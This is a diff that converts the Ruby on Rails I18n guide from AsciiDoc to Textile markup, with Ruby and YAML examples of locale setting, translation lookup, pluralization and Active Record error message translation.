+IMPORTANT: This solution has currently one rather big *downside*. Due to the _default_url_options_ implementation, you have to pass the +:id+ option explicitely, like this: +link_to 'Show', book_url(:id => book)+ and not depend on Rails' magic in code like +link_to 'Show', book+. If this should be a problem, have a look on two plugins which simplify working with routes in this way: Sven Fuchs's "_routing_filter_":http://github.com/svenfuchs/routing-filter/tree/master and Raul Murciano's "_translate_routes_":http://github.com/raul/translate_routes/tree/master. See also the page "How to encode the current locale in the URL":http://rails-i18n.org/wiki/pages/how-to-encode-the-current-locale-in-the-url in the Rails i18n Wiki.
 
-=== Setting locale from the client supplied information
+h4. Setting locale from the client supplied information
 
 In specific cases, it would make sense to set locale from client supplied information, ie. not from URL. This information may come for example from users' preffered language (set in their browser), can be based on users' geographical location inferred from their IP, or users can provide it simply by choosing locale in your application interface and saving it to their profile. This approach is more suitable for web-based applications or services, not for websites -- see the box about _sessions_, _cookies_ and RESTful architecture above.
 
 
-==== Using Accept-Language
+h5. Using Accept-Language
 
-One source of client supplied information would be an +Accept-Language+ HTTP header. People may http://www.w3.org/International/questions/qa-lang-priorities[set this in their browser] or other clients (such as _curl_).
+One source of client supplied information would be an +Accept-Language+ HTTP header. People may "set this in their browser":http://www.w3.org/International/questions/qa-lang-priorities or other clients (such as _curl_).
 
 A trivial implementation of using +Accept-Language+ header would be:
 
-[source, ruby]
--------------------------------------------------------
+
 def set_locale
   logger.debug "* Accept-Language: #{request.env['HTTP_ACCEPT_LANGUAGE']}"
   I18n.locale = extract_locale_from_accept_language_header
@@ -313,33 +298,32 @@ private
 def extract_locale_from_accept_language_header
   request.env['HTTP_ACCEPT_LANGUAGE'].scan(/^[a-z]{2}/).first
 end
--------------------------------------------------------
+
 
-Of course, in production environment you would need much robust code, and could use a plugin such as Iaian Hecker's http://github.com/iain/http_accept_language[http_accept_language].
+Of course, in production environment you would need much robust code, and could use a plugin such as Iaian Hecker's "http_accept_language":http://github.com/iain/http_accept_language or even Rack middleware such as Ryan Tomayko's "locale":http://github.com/rtomayko/rack-contrib/blob/master/lib/rack/locale.rb.
 
-==== Using GeoIP (or similar) database
+h5. Using GeoIP (or similar) database
 
-Another way of choosing the locale from client's information would be to use a database for mapping client IP to region, such as http://www.maxmind.com/app/geolitecountry[GeoIP Lite Country]. The mechanics of the code would be very similar to the code above -- you would need to query database for user's IP, and lookup your preffered locale for the country/region/city returned.
+Another way of choosing the locale from client's information would be to use a database for mapping client IP to region, such as "GeoIP Lite Country":http://www.maxmind.com/app/geolitecountry. The mechanics of the code would be very similar to the code above -- you would need to query database for user's IP, and lookup your preffered locale for the country/region/city returned.
 
-==== User profile
+h5. User profile
 
 You can also provide users of your application with means to set (and possibly over-ride) locale in your application interface, as well. Again, mechanics for this approach would be very similar to the code above -- you'd probably let users choose a locale from a dropdown list and save it to their profile in database. Then you'd set the locale to this value.
 
-== Internationalizing your application
+h3. Internationalizing your application
 
 OK! Now you've initialized I18n support for your Ruby on Rails application and told it which locale should be used and how to preserve it between requests. With that in place, you're now ready for the really interesting stuff.
 
-Let's _internationalize_ our application, ie. abstract every locale-specific parts, and that _localize_ it, ie. provide neccessary translations for these abstracts. 
+Let's _internationalize_ our application, ie. abstract every locale-specific parts, and that _localize_ it, ie. provide neccessary translations for these abstracts.
 
 You most probably have something like this in one of your applications:
 
-[source, ruby]
--------------------------------------------------------
+
 # config/routes.rb
 ActionController::Routing::Routes.draw do |map|
   map.root :controller => 'home', :action => 'index'
 end
-  
+
 # app/controllers/home_controller.rb
 class HomeController < ApplicationController
   def index
@@ -350,16 +334,15 @@ end
 # app/views/home/index.html.erb
 
Hello world!

 
<%= flash[:notice] %>

--------------------------------------------------------
+
 
-image:images/i18n/demo_untranslated.png[rails i18n demo untranslated]
+!images/i18n/demo_untranslated.png(rails i18n demo untranslated)!
 
-=== Adding Translations
+h4. Adding Translations
 
 Obviously there are *two strings that are localized to English*. In order to internationalize this code, *replace these strings* with calls to Rails' +#t+ helper with a key that makes sense for the translation:
 
-[source, ruby]
--------------------------------------------------------
+
 # app/controllers/home_controller.rb
 class HomeController < ApplicationController
   def index
@@ -370,75 +353,74 @@ end
 # app/views/home/index.html.erb
 
<%=t :hello_world %>

 
<%= flash[:notice] %>

--------------------------------------------------------
+
 
 When you now render this view, it will show an error message which tells you that the translations for the keys +:hello_world+ and +:hello_flash+ are missing.
 
-image:images/i18n/demo_translation_missing.png[rails i18n demo translation missing]
+!images/i18n/demo_translation_missing.png(rails i18n demo translation missing)!
 
 NOTE: Rails adds a +t+ (+translate+) helper method to your views so that you do not need to spell out +I18n.t+ all the time. Additionally this helper will catch missing translations and wrap the resulting error message into a ++.
 
 So let's add the missing translations into the dictionary files (i.e. do the "localization" part):
 
-[source, ruby]
--------------------------------------------------------
+
 # config/locale/en.yml
 en:
   hello_world: Hello World
   hello_flash: Hello Flash
-  
+
 # config/locale/pirate.yml
 pirate:
   hello_world: Ahoy World
   hello_flash: Ahoy Flash
--------------------------------------------------------  
+
 
 There you go. Because you haven't changed the default_locale, I18n will use English. Your application now shows:
 
-image:images/i18n/demo_translated_en.png[rails i18n demo translated to english]
+!images/i18n/demo_translated_en.png(rails i18n demo translated to english)!
 
 And when you change the URL to pass the pirate locale (+http://localhost:3000?locale=pirate+), you'll get:
 
-image:images/i18n/demo_translated_pirate.png[rails i18n demo translated to pirate]
+!images/i18n/demo_translated_pirate.png(rails i18n demo translated to pirate)!
 
 NOTE: You need to restart the server when you add new locale files.
 
-=== Adding Date/Time formats
+You may use YAML (+.yml+) or plain Ruby (+.rb+) files for storing your translations in SimpleStore. YAML is the preffered option among Rails developers, has one big disadvantage, though. YAML is very sensitive to whitespace and special characters, so the application may not load your dictionary properly. Ruby files will crash your application on first request, so you may easily find what's wrong. (If you encounter any "weird issues" with YAML dictionaries, try putting the relevant portion of your dictionary into Ruby file.)
+
+h4. Adding Date/Time formats
 
 OK! Now let's add a timestamp to the view, so we can demo the *date/time localization* feature as well. To localize the time format you pass the Time object to +I18n.l+ or (preferably) use Rails' +#l+ helper. You can pick a format by passing the +:format+ option -- by default the +:default+ format is used.
 
-[source, ruby]
--------------------------------------------------------
+
 # app/views/home/index.html.erb
 
<%=t :hello_world %>

 
<%= flash[:notice] %>
<%= l Time.now, :format => :short %>

--------------------------------------------------------
+
 
 And in our pirate translations file let's add a time format (it's already there in Rails' defaults for English):
 
-[source, ruby]
--------------------------------------------------------
+
 # config/locale/pirate.yml
 pirate:
   time:
     formats:
       short: "arrrround %H'ish"
--------------------------------------------------------
+
 
 So that would give you:
 
-image:images/i18n/demo_localized_pirate.png[rails i18n demo localized time to pirate]
+!images/i18n/demo_localized_pirate.png(rails i18n demo localized time to pirate)!
 
-TIP: Right now you might need to add some more date/time formats in order to make the I18n backend work as expected. Of course, there's a great chance that somebody already did all the work by *translating Rails's defaults for your locale*. See the http://github.com/svenfuchs/rails-i18n/tree/master/rails/locale[rails-i18n repository at Github] for an archive of various locale files. When you put such file(s) in +config/locale/+ directory, they will automatically ready for use.
+TIP: Right now you might need to add some more date/time formats in order to make the I18n backend work as expected. Of course, there's a great chance that somebody already did all the work by *translating Rails's defaults for your locale*. See the "rails-i18n repository at Github":http://github.com/svenfuchs/rails-i18n/tree/master/rails/locale for an archive of various locale files. When you put such file(s) in +config/locale/+ directory, they will automatically ready for use.
 
-=== Organization of locale files
+h4. Organization of locale files
 
 When you are using the default SimpleStore, shipped with the i18n library, you store dictionaries in plain-text files on the disc. Putting translations for all parts of your application in one file per locale could be hard to manage. You can store these files in a hierarchy which makes sense to you.
 
 For example, your +config/locale+ directory could look like this:
 
--------------------------------------------------------
+
 |-defaults
 |---es.rb
 |---en.rb
@@ -459,15 +441,15 @@ For example, your +config/locale+ directory could look like this:
 |---navigation
 |-----es.rb
 |-----en.rb
--------------------------------------------------------
+

 
 This way, you can separate model and model attribute names from text inside views, and all of this from the "defaults" (eg. date and time formats).
 
 Other stores for the i18n library could provide different means of such separation.
 
-Do check the http://rails-i18n.org/wiki[Rails i18n Wiki] for list of tools available for managing translations.
+Do check the "Rails i18n Wiki":http://rails-i18n.org/wiki for list of tools available for managing translations.
 
-== Overview of the I18n API features
+h3. Overview of the I18n API features
 
 You should have good understanding of using the i18n library now, knowing all neccessary aspects of internationalizing a basic Rails application.  In the following chapters, we'll cover it's features in more depth.
 
@@ -478,161 +460,146 @@ Covered are features like these:
 * pluralizing translations
 * localizing dates, numbers, currency etc.
 
-=== Looking up translations
+h4. Looking up translations
 
-==== Basic lookup, scopes and nested keys
+h5. Basic lookup, scopes and nested keys
 
 Translations are looked up by keys which can be both Symbols or Strings, so these calls are equivalent:
 
-[source, ruby]
--------------------------------------------------------
+
 I18n.t :message
 I18n.t 'message'
--------------------------------------------------------
+
 
 +translate+ also takes a +:scope+ option which can contain one or many additional keys that will be used to specify a “namespace” or scope for a translation key:
 
-[source, ruby]
--------------------------------------------------------
+
 I18n.t :invalid, :scope => [:active_record, :error_messages]
--------------------------------------------------------
+
 
 This looks up the +:invalid+ message in the Active Record error messages.
 
 Additionally, both the key and scopes can be specified as dot separated keys as in:
 
-[source, ruby]
--------------------------------------------------------
+
 I18n.translate :"active_record.error_messages.invalid"
--------------------------------------------------------
+
 
 Thus the following calls are equivalent:
 
-[source, ruby]
--------------------------------------------------------
+
 I18n.t 'active_record.error_messages.invalid'
 I18n.t 'error_messages.invalid', :scope => :active_record
 I18n.t :invalid, :scope => 'active_record.error_messages'
 I18n.t :invalid, :scope => [:active_record, :error_messages]
--------------------------------------------------------
+
 
-==== Defaults
+h5. Defaults
 
 When a default option is given its value will be returned if the translation is missing:
 
-[source, ruby]
--------------------------------------------------------
+
 I18n.t :missing, :default => 'Not here'
 # => 'Not here'
--------------------------------------------------------
+
 
 If the default value is a Symbol it will be used as a key and translated. One can provide multiple values as default. The first one that results in a value will be returned.
 
 E.g. the following first tries to translate the key +:missing+ and then the key +:also_missing.+ As both do not yield a result the string "Not here" will be returned:
 
-[source, ruby]
--------------------------------------------------------
+
 I18n.t :missing, :default => [:also_missing, 'Not here']
 # => 'Not here'
--------------------------------------------------------
+
 
-==== Bulk and namespace lookup
+h5. Bulk and namespace lookup
 
 To lookup multiple translations at once an array of keys can be passed:
 
-[source, ruby]
--------------------------------------------------------
+
 I18n.t [:odd, :even], :scope => 'active_record.error_messages'
 # => ["must be odd", "must be even"]
--------------------------------------------------------
+
 
 Also, a key can translate to a (potentially nested) hash as grouped translations. E.g. one can receive all Active Record error messages as a Hash with:
 
-[source, ruby]
--------------------------------------------------------
+
 I18n.t 'active_record.error_messages'
 # => { :inclusion => "is not included in the list", :exclusion => ... }
--------------------------------------------------------
+
 
-=== Interpolation
+h4. Interpolation
 
 In many cases you want to abstract your translations so that *variables can be interpolated into the translation*. For this reason the I18n API provides an interpolation feature.
 
 All options besides +:default+ and +:scope+ that are passed to +#translate+ will be interpolated to the translation:
 
-[source, ruby]
--------------------------------------------------------
+
 I18n.backend.store_translations :en, :thanks => 'Thanks {{name}}!'
 I18n.translate :thanks, :name => 'Jeremy'
 # => 'Thanks Jeremy!'
--------------------------------------------------------
+
 
 If a translation uses +:default+ or +:scope+ as a interpolation variable an I+18n::ReservedInterpolationKey+ exception is raised. If a translation expects an interpolation variable but it has not been passed to +#translate+ an +I18n::MissingInterpolationArgument+ exception is raised.
 
 
-=== Pluralization
+h4. Pluralization
 
-In English there's only a singular and a plural form for a given string, e.g. "1 message" and "2 messages". Other languages (http://www.unicode.org/cldr/data/charts/supplemental/language_plural_rules.html#ar[Arabic], http://www.unicode.org/cldr/data/charts/supplemental/language_plural_rules.html#ja[Japanese], http://www.unicode.org/cldr/data/charts/supplemental/language_plural_rules.html#ru[Russian] and many more) have different grammars that have additional or less http://www.unicode.org/cldr/data/charts/supplemental/language_plural_rules.html[plural forms]. Thus, the I18n API provides a flexible pluralization feature.
+In English there's only a singular and a plural form for a given string, e.g. "1 message" and "2 messages". Other languages ("Arabic":http://www.unicode.org/cldr/data/charts/supplemental/language_plural_rules.html#ar, "Japanese":http://www.unicode.org/cldr/data/charts/supplemental/language_plural_rules.html#ja, "Russian":http://www.unicode.org/cldr/data/charts/supplemental/language_plural_rules.html#ru and many more) have different grammars that have additional or less "plural forms":http://www.unicode.org/cldr/data/charts/supplemental/language_plural_rules.html. Thus, the I18n API provides a flexible pluralization feature.
 
 The +:count+ interpolation variable has a special role in that it both is interpolated to the translation and used to pick a pluralization from the translations according to the pluralization rules defined by CLDR:
 
-[source, ruby]
--------------------------------------------------------
+
 I18n.backend.store_translations :en, :inbox => {
-  :one => '1 message', 
+  :one => '1 message',
   :other => '{{count}} messages'
 }
 I18n.translate :inbox, :count => 2
 # => '2 messages'
--------------------------------------------------------
+
 
 The algorithm for pluralizations in +:en+ is as simple as:
 
-[source, ruby]
--------------------------------------------------------
-entry[count == 1 ? 0 : 1]  
--------------------------------------------------------
+
+entry[count == 1 ? 0 : 1]
+
 
 I.e. the translation denoted as +:one+ is regarded as singular, the other is used as plural (including the count being zero).
 
 If the lookup for the key does not return an Hash suitable for pluralization an +18n::InvalidPluralizationData+ exception is raised.
 
-=== Setting and passing a locale
+h4. Setting and passing a locale
 
 The locale can be either set pseudo-globally to +I18n.locale+ (which uses +Thread.current+ like, e.g., +Time.zone+) or can be passed as an option to +#translate+ and +#localize+.
 
 If no locale is passed +I18n.locale+ is used:
 
-[source, ruby]
--------------------------------------------------------
+
 I18n.locale = :de
-I18n.t :foo 
+I18n.t :foo
 I18n.l Time.now
--------------------------------------------------------
+
 
 Explicitely passing a locale:
 
-[source, ruby]
--------------------------------------------------------
+
 I18n.t :foo, :locale => :de
 I18n.l Time.now, :locale => :de
--------------------------------------------------------
+
 
 +I18n.locale+ defaults to +I18n.default_locale+ which defaults to :+en+. The default locale can be set like this:
 
-[source, ruby]
--------------------------------------------------------
+
 I18n.default_locale = :de
--------------------------------------------------------
+
 
-== How to store your custom translations
+h3. How to store your custom translations
 
-The shipped Simple backend allows you to store translations in both plain Ruby and YAML format. <<2>>
+The shipped Simple backend allows you to store translations in both plain Ruby and YAML format. [2]
 
 For example a Ruby Hash providing translations can look like this:
 
-[source, ruby]
--------------------------------------------------------
+
 {
   :pt => {
     :foo => {
@@ -640,51 +607,47 @@ For example a Ruby Hash providing translations can look like this:
     }
   }
 }
--------------------------------------------------------
+
 
 The equivalent YAML file would look like this:
 
-[source, ruby]
--------------------------------------------------------
+
 pt:
   foo:
     bar: baz
--------------------------------------------------------    
+
 
 As you see in both cases the toplevel key is the locale. +:foo+ is a namespace key and +:bar+ is the key for the translation "baz".
 
 Here is a "real" example from the ActiveSupport +en.yml+ translations YAML file:
 
-[source, ruby]
--------------------------------------------------------
+
 en:
   date:
     formats:
       default: "%Y-%m-%d"
       short: "%b %d"
       long: "%B %d, %Y"
--------------------------------------------------------
+
 
 So, all of the following equivalent lookups will return the +:short+ date format +"%B %d"+:
 
-[source, ruby]
--------------------------------------------------------
+
 I18n.t 'date.formats.short'
 I18n.t 'formats.short', :scope => :date
 I18n.t :short, :scope => 'date.formats'
 I18n.t :short, :scope => [:date, :formats]
--------------------------------------------------------
+
 
 Generally we recommend using YAML as a format for storing translations. There are cases though where you want to store Ruby lambdas as part of your locale data, e.g. for special date.
 
-=== Translations for Active Record models
+h4. Translations for Active Record models
 
 You can use the methods +Model.human_name+ and +Model.human_attribute_name(attribute)+ to transparently lookup translations for your model and attribute names.
 
 For example when you add the following translations:
 
-[source, ruby]
--------------------------------------------------------
+
 en:
   activerecord:
     models:
@@ -693,11 +656,11 @@ en:
       user:
         login: "Handle"
       # will translate User attribute "login" as "Handle"
--------------------------------------------------------
-      
+
+
 Then +User.human_name+ will return "Dude" and +User.human_attribute_name(:login)+ will return "Handle".
-      
-==== Error message scopes
+
+h5. Error message scopes
 
 Active Record validation error messages can also be translated easily. Active Record gives you a couple of namespaces where you can place your message translations in order to provide different messages and translation for certain models, attributes and/or validations. It also transparently takes single table inheritance into account.
 
@@ -705,97 +668,88 @@ This gives you quite powerful means to flexibly adjust your messages to your app
 
 Consider a User model with a +validates_presence_of+ validation for the name attribute like this:
 
-[source, ruby]
--------------------------------------------------------
+
 class User < ActiveRecord::Base
   validates_presence_of :name
 end
--------------------------------------------------------
+
 
 The key for the error message in this case is +:blank+. Active Record will lookup this key in the namespaces:
 
-[source, ruby]
--------------------------------------------------------
+
 activerecord.errors.messages.models.[model_name].attributes.[attribute_name]
 activerecord.errors.messages.models.[model_name]
 activerecord.errors.messages
--------------------------------------------------------
+
 
 Thus, in our example it will try the following keys in this order and return the first result:
 
-[source, ruby]
--------------------------------------------------------
+
 activerecord.errors.messages.models.user.attributes.name.blank
 activerecord.errors.messages.models.user.blank
 activerecord.errors.messages.blank
--------------------------------------------------------
+
 
-When your models are additionally using inheritance then the messages are looked up for the inherited model class names are looked up. 
+When your models are additionally using inheritance then the messages are looked up for the inherited model class names are looked up.
 
 For example, you might have an Admin model inheriting from User:
 
-[source, ruby]
--------------------------------------------------------
+
 class Admin < User
   validates_presence_of :name
 end
--------------------------------------------------------
+
 
 Then Active Record will look for messages in this order:
 
-[source, ruby]
--------------------------------------------------------
+
 activerecord.errors.models.admin.attributes.title.blank
 activerecord.errors.models.admin.blank
 activerecord.errors.models.user.attributes.title.blank
 activerecord.errors.models.user.blank
 activerecord.errors.messages.blank
--------------------------------------------------------
+
 
 This way you can provide special translations for various error messages at different points in your models inheritance chain and in the attributes, models or default scopes.
 
-==== Error message interpolation
+h5. Error message interpolation
 
 The translated model name, translated attribute name, and value are always available for interpolation.
 
-So, for example, instead of the default error message +"can not be blank"+ you could use the attribute name like this:+ "Please fill in your {{attribute}}"+.
+So, for example, instead of the default error message +"can not be blank"+ you could use the attribute name like this : +"Please fill in your {{attribute}}"+.
 
-+count+, where available, can be used for pluralization if present:
+* +count+, where available, can be used for pluralization if present:
 
-|=====================================================================================================
-| validation                   | with option               | message                   | interpolation
-| validates_confirmation_of    | -                         | :confirmation             | -
-| validates_acceptance_of      | -                         | :accepted                 | -
-| validates_presence_of        | -                         | :blank                    | -
-| validates_length_of          | :within, :in              | :too_short                | count
-| validates_length_of          | :within, :in              | :too_long                 | count
-| validates_length_of          | :is                       | :wrong_length             | count
-| validates_length_of          | :minimum                  | :too_short                | count
-| validates_length_of          | :maximum                  | :too_long                 | count
-| validates_uniqueness_of      | -                         | :taken                    | -
-| validates_format_of          | -                         | :invalid                  | -
-| validates_inclusion_of       | -                         | :inclusion                | -
-| validates_exclusion_of       | -                         | :exclusion                | -
-| validates_associated         | -                         | :invalid                  | -
-| validates_numericality_of    | -                         | :not_a_number             | -
-| validates_numericality_of    | :greater_than             | :greater_than             | count
-| validates_numericality_of    | :greater_than_or_equal_to | :greater_than_or_equal_to | count
-| validates_numericality_of    | :equal_to                 | :equal_to                 | count
-| validates_numericality_of    | :less_than                | :less_than                | count
-| validates_numericality_of    | :less_than_or_equal_to    | :less_than_or_equal_to    | count
-| validates_numericality_of    | :odd                      | :odd                      | -
-| validates_numericality_of    | :even                     | :even                     | -
-|=====================================================================================================
+|_. validation                 |_.with option              |_.message                  |_.interpolation|
+| validates_confirmation_of    | -                         | :confirmation             | -|
+| validates_acceptance_of      | -                         | :accepted                 | -|
+| validates_presence_of        | -                         | :blank                    | -|
+| validates_length_of          | :within, :in              | :too_short                | count|
+| validates_length_of          | :within, :in              | :too_long                 | count|
+| validates_length_of          | :is                       | :wrong_length             | count|
+| validates_length_of          | :minimum                  | :too_short                | count|
+| validates_length_of          | :maximum                  | :too_long                 | count|
+| validates_uniqueness_of      | -                         | :taken                    | -|
+| validates_format_of          | -                         | :invalid                  | -|
+| validates_inclusion_of       | -                         | :inclusion                | -|
+| validates_exclusion_of       | -                         | :exclusion                | -|
+| validates_associated         | -                         | :invalid                  | -|
+| validates_numericality_of    | -                         | :not_a_number             | -|
+| validates_numericality_of    | :greater_than             | :greater_than             | count|
+| validates_numericality_of    | :greater_than_or_equal_to | :greater_than_or_equal_to | count|
+| validates_numericality_of    | :equal_to                 | :equal_to                 | count|
+| validates_numericality_of    | :less_than                | :less_than                | count|
+| validates_numericality_of    | :less_than_or_equal_to    | :less_than_or_equal_to    | count|
+| validates_numericality_of    | :odd                      | :odd                      | -|
+| validates_numericality_of    | :even                     | :even                     | -|
 
+h5. Translations for the Active Record error_messages_for helper
 
-==== Translations for the Active Record error_messages_for helper
-
-If you are using the Active Record +error_messages_for+ helper you will want to add translations for it. 
+If you are using the Active Record +error_messages_for+ helper you will want to add translations for it.
 
 Rails ships with the following translations:
 
-[source, ruby]
--------------------------------------------------------
+
 en:
   activerecord:
     errors:
@@ -804,69 +758,65 @@ en:
           one:   "1 error prohibited this {{model}} from being saved"
           other: "{{count}} errors prohibited this {{model}} from being saved"
         body:    "There were problems with the following fields:"
--------------------------------------------------------
+
 
-
-=== Overview of other built-in methods that provide I18n support
+h4. Overview of other built-in methods that provide I18n support
 
 Rails uses fixed strings and other localizations, such as format strings and other format information in a couple of helpers. Here's a brief overview.
 
-==== ActionView helper methods
+h5. ActionView helper methods
 
-* +distance_of_time_in_words+ translates and pluralizes its result and interpolates the number of seconds, minutes, hours and so on. See http://github.com/rails/rails/blob/master/actionpack/lib/action_view/locale/en.yml#L51[datetime.distance_in_words] translations.
+* +distance_of_time_in_words+ translates and pluralizes its result and interpolates the number of seconds, minutes, hours and so on. See "datetime.distance_in_words":http://github.com/rails/rails/blob/master/actionpack/lib/action_view/locale/en.yml#L51 translations.
 
-* +datetime_select+ and +select_month+ use translated month names for populating the resulting select tag. See http://github.com/rails/rails/blob/master/activesupport/lib/active_support/locale/en.yml#L15[date.month_names] for translations. +datetime_select+ also looks up the order option from http://github.com/rails/rails/blob/master/activesupport/lib/active_support/locale/en.yml#L18[date.order] (unless you pass the option explicitely). All date select helpers translate the prompt using the translations in the http://github.com/rails/rails/blob/master/actionpack/lib/action_view/locale/en.yml#L83[datetime.prompts] scope if applicable.
+* +datetime_select+ and +select_month+ use translated month names for populating the resulting select tag. See "date.month_names":http://github.com/rails/rails/blob/master/activesupport/lib/active_support/locale/en.yml#L15 for translations. +datetime_select+ also looks up the order option from "date.order":http://github.com/rails/rails/blob/master/activesupport/lib/active_support/locale/en.yml#L18 (unless you pass the option explicitely). All date select helpers translate the prompt using the translations in the "datetime.prompts":http://github.com/rails/rails/blob/master/actionpack/lib/action_view/locale/en.yml#L83 scope if applicable.
 
-* The +number_to_currency+, +number_with_precision+, +number_to_percentage+, +number_with_delimiter+ and +humber_to_human_size+ helpers use the number format settings located in the http://github.com/rails/rails/blob/master/actionpack/lib/action_view/locale/en.yml#L2[number] scope.
+* The +number_to_currency+, +number_with_precision+, +number_to_percentage+, +number_with_delimiter+ and +humber_to_human_size+ helpers use the number format settings located in the "number":http://github.com/rails/rails/blob/master/actionpack/lib/action_view/locale/en.yml#L2 scope.
 
-==== Active Record methods
+h5. Active Record methods
 
-* +human_name+ and +human_attribute_name+ use translations for model names and attribute names if available in the http://github.com/rails/rails/blob/master/activerecord/lib/active_record/locale/en.yml#L43[activerecord.models] scope. They also support translations for inherited class names (e.g. for use with STI) as explained above in "Error message scopes".
+* +human_name+ and +human_attribute_name+ use translations for model names and attribute names if available in the "activerecord.models":http://github.com/rails/rails/blob/master/activerecord/lib/active_record/locale/en.yml#L43 scope. They also support translations for inherited class names (e.g. for use with STI) as explained above in "Error message scopes".
 
 * +ActiveRecord::Errors#generate_message+ (which is used by Active Record validations but may also be used manually) uses +human_name+ and +human_attribute_name+ (see above). It also translates the error message and supports translations for inherited class names as explained above in "Error message scopes".
 
-*+ ActiveRecord::Errors#full_messages+ prepends the attribute name to the error message using a separator that will be looked up from http://github.com/rails/rails/blob/master/actionpack/lib/action_view/locale/en.yml#L91[activerecord.errors.format.separator] (and defaults to +' '+).
+*+ ActiveRecord::Errors#full_messages+ prepends the attribute name to the error message using a separator that will be looked up from "activerecord.errors.format.separator":http://github.com/rails/rails/blob/master/actionpack/lib/action_view/locale/en.yml#L91 (and defaults to +' '+).
 
-==== ActiveSupport methods
+h5. ActiveSupport methods
 
-* +Array#to_sentence+ uses format settings as given in the http://github.com/rails/rails/blob/master/activesupport/lib/active_support/locale/en.yml#L30[support.array] scope.
+* +Array#to_sentence+ uses format settings as given in the "support.array":http://github.com/rails/rails/blob/master/activesupport/lib/active_support/locale/en.yml#L30 scope.
 
 
-== Customize your I18n setup
+h3. Customize your I18n setup
 
-=== Using different backends
+h4. Using different backends
 
-For several reasons the shipped Simple backend only does the "simplest thing that ever could work" _for Ruby on Rails_ <<3>> ... which means that it is only guaranteed to work for English and, as a side effect, languages that are very similar to English. Also, the simple backend is only capable of reading translations but can not dynamically store them to any format.
+For several reasons the shipped Simple backend only does the "simplest thing that ever could work" _for Ruby on Rails_ [3] ... which means that it is only guaranteed to work for English and, as a side effect, languages that are very similar to English. Also, the simple backend is only capable of reading translations but can not dynamically store them to any format.
 
 That does not mean you're stuck with these limitations though. The Ruby I18n gem makes it very easy to exchange the Simple backend implementation with something else that fits better for your needs. E.g. you could exchange it with Globalize's Static backend:
 
-[source, ruby]
--------------------------------------------------------
+
 I18n.backend = Globalize::Backend::Static.new
--------------------------------------------------------
+
 
-=== Using different exception handlers
+h4. Using different exception handlers
 
 The I18n API defines the following exceptions that will be raised by backends when the corresponding unexpected conditions occur:
 
-[source, ruby]
--------------------------------------------------------
+
 MissingTranslationData       # no translation was found for the requested key
 InvalidLocale                # the locale set to I18n.locale is invalid (e.g. nil)
 InvalidPluralizationData     # a count option was passed but the translation data is not suitable for pluralization
 MissingInterpolationArgument # the translation expects an interpolation argument that has not been passed
 ReservedInterpolationKey     # the translation contains a reserved interpolation variable name (i.e. one of: scope, default)
 UnknownFileType              # the backend does not know how to handle a file type that was added to I18n.load_path
--------------------------------------------------------
+
 
-The I18n API will catch all of these exceptions when they were thrown in the backend and pass them to the default_exception_handler method. This method will re-raise all exceptions except for +MissingTranslationData+ exceptions. When a +MissingTranslationData+ exception has been caught it will return the exception’s error message string containing the missing key/scope. 
+The I18n API will catch all of these exceptions when they were thrown in the backend and pass them to the default_exception_handler method. This method will re-raise all exceptions except for +MissingTranslationData+ exceptions. When a +MissingTranslationData+ exception has been caught it will return the exception’s error message string containing the missing key/scope.
 
-The reason for this is that during development you'd usually want your views to still render even though a translation is missing. 
+The reason for this is that during development you'd usually want your views to still render even though a translation is missing.
 
 In other contexts you might want to change this behaviour though. E.g. the default exception handling does not allow to catch missing translations during automated tests easily. For this purpose a different exception handler can be specified. The specified exception handler must be a method on the I18n module:
 
-[source, ruby]
--------------------------------------------------------
+
 module I18n
   def just_raise_that_exception(*args)
     raise args.first
@@ -874,7 +824,7 @@ module I18n
 end
 
 I18n.exception_handler = :just_raise_that_exception
--------------------------------------------------------
+
 
 This would re-raise all caught exceptions including +MissingTranslationData+.
 
@@ -882,55 +832,53 @@ Another example where the default behaviour is less desirable is the Rails Trans
 
 To do so the helper forces +I18n#translate+ to raise exceptions no matter what exception handler is defined by setting the +:raise+ option:
 
-[source, ruby]
--------------------------------------------------------
+
 I18n.t :foo, :raise => true # always re-raises exceptions from the backend
--------------------------------------------------------
+
 
-
-== Conclusion
+h3. Conclusion
 
 At this point you hopefully have a good overview about how I18n support in Ruby on Rails works and are ready to start translating your project.
 
-If you find anything missing or wrong in this guide please file a ticket on http://i18n.lighthouseapp.com/projects/14948-rails-i18n/overview[our issue tracker]. If you want to discuss certain portions or have questions please sign up to our http://groups.google.com/group/rails-i18n[mailinglist].
+If you find anything missing or wrong in this guide please file a ticket on "our issue tracker":http://i18n.lighthouseapp.com/projects/14948-rails-i18n/overview. If you want to discuss certain portions or have questions please sign up to our "mailinglist":http://groups.google.com/group/rails-i18n.
 
 
-== Contributing to Rails I18n
+h3. Contributing to Rails I18n
 
 I18n support in Ruby on Rails was introduced in the release 2.2 and is still evolving. The project follows the good Ruby on Rails development tradition of evolving solutions in plugins and real applications first and then cherry-picking the best bread of most widely useful features second for inclusion to the core.
 
-Thus we encourage everybody to experiment with new ideas and features in plugins or other libraries and make them available to the community. (Don't forget to announce your work on our http://groups.google.com/group/rails-i18n[mailinglist]!)
+Thus we encourage everybody to experiment with new ideas and features in plugins or other libraries and make them available to the community. (Don't forget to announce your work on our "mailinglist":http://groups.google.com/group/rails-i18n!)
 
-If you find your own locale (language) missing from our http://github.com/svenfuchs/rails-i18n/tree/master/rails/locale[example translations data] repository for Ruby on Rails, please http://github.com/guides/fork-a-project-and-submit-your-modifications[_fork_] the repository, add your data and send a http://github.com/guides/pull-requests[pull request].
+If you find your own locale (language) missing from our "example translations data":http://github.com/svenfuchs/rails-i18n/tree/master/rails/locale repository for Ruby on Rails, please "_fork_":http://github.com/guides/fork-a-project-and-submit-your-modifications the repository, add your data and send a "pull request":http://github.com/guides/pull-requests.
 
 
-== Resources
+h3. Resources
 
-* http://rails-i18n.org[rails-i18n.org] - Homepage of the rails-i18n project. You can find lots of useful resources on the http://rails-i18n.org/wiki[wiki].
-* http://groups.google.com/group/rails-i18n[rails-i18n Google group] - The project's mailing list. 
-* http://github.com/svenfuchs/rails-i18n/tree/master[Github: rails-i18n] - Code repository for the rails-i18n project. Most importantly you can find lots of http://github.com/svenfuchs/rails-i18n/tree/master/rails/locale[example translations] for Rails that should work for your application in most cases.
-* http://i18n.lighthouseapp.com/projects/14948-rails-i18n/overview[Lighthouse: rails-i18n] - Issue tracker for the rails-i18n project.
-* http://github.com/svenfuchs/i18n/tree/master[Github: i18n] - Code repository for the i18n gem.
-* http://i18n.lighthouseapp.com/projects/14947-ruby-i18n/overview[Lighthouse: i18n] - Issue tracker for the i18n gem.
+* "rails-i18n.org":http://rails-i18n.org - Homepage of the rails-i18n project. You can find lots of useful resources on the "wiki":http://rails-i18n.org/wiki.
